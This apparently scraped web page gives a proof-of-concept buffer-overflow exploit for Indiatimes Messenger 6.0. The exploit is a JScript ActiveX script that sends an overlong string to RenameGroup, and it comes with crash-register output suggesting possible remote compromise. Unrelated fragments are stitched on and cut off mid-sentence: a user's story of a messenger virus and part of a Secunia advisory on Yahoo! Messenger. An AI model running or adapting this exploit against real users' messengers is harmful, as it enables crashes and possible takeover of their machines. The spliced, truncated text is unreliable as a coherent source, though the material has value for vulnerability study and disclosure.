[CODE]Indiatimes Messenger 6.0 Buffer Overflow (Remote)

Vulnerable Program : Indiatimes Messenger v6.0
(Latest)

Vendor URL : http://messenger.indiatimes.com/

Exploit Type : Remote DoS (Remote Compromise may also
be possible)

Proof Of Concept:

[script]
var obj1 = new
ActiveXObject("MMClient.MunduMessenger.1");
var buf = "";

for(i=0; i<1000; i++)
{
 buf += "A";
}

while(obj1.GetServerStatus() != "Logged In"); //wait
till login

obj1.RenameGroup("Friends", buf, 5);
[/script]


The program (MMClient.exe) crashes @
004B681B   8979 04          mov dword ptr
ds:[ecx+4],edi
with registers ecx, and edi = 0x41414141
[controllable]

So, remote compromise maybe possible (not confirmed).

you should explain the reason for this code, it doesn't do one any good if you just slap a code and not explain it.

Explanation: Indiatimes Messenger is a communication client application just like Yahoo! messenger. the indiatimes messenger is used by site: http://www.indiatimes.com as usual.

Indiatimes.com also has some issues with their web site. like in registration process. but that is a different story.

Anyways, Indiatimes Messenger shows some problematic behaviour on certain conditions. Which may lead to buffer overfloaw and thus also result in Remote compromise.

    I was online, and then a friend sent me that file, and I accepted it because he's been wanting
    to send me a program that improves the resolution of the screen. But then my email address was in
    the file name, so I asked him what that was. To my horror, he said 'virus', but it was too
    late, I already opened it and then several chat screens popped-up, and it was auto-sent to some of
    the friends on the contact list. Luckily i was quick enough to ask them not to click on it. And my

  7. Yahoo! Messenger vulnerability
    (1)
    Secunia Research has discovered a vulnerability in Yahoo! Messenger, which can be exploited by
    malicious, local users to gain escalated privileges. The vulnerability is caused due to a
    combination of weak default directory permissions and the Audio Setup Wizard (asw.dll) invoking the
    "ping.exe" utility insecurely during the connection testing phase. This can be exploited to execute
    arbitrary code with the privileges of another user by placing a malicious "ping.exe" file in the
    application's "Messenger" directory. Successful exploitation requires that a user runs th....
